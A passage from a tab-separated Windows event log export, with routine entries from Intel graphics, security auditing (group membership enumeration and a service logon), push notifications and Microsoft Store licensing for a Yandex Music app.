stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:42.767\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:42.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:43.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:44.775\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:44.935\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:42:44.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:45.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.007\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:47.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:51.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:52.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:53.148\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:53.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:54.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:54.850\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:43:04.461\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.463\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.463\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.464\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.464\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.465\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.466\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.466\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.467\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.473\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.473\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.474\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.474\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.475\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.475\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.476\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.477\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.477\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.478\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.478\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.479\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.715\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.717\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.717\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.728\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.728\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(4) tid(3e7c) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(5) tid(3e7c) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.730\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.731\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.735\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"0000021F831D3820: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8011\t0x21f83133e68: 3380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"0000021F831D3820: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8012\t0x21f831d3840: 3380: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.760\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:43:10.765\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication 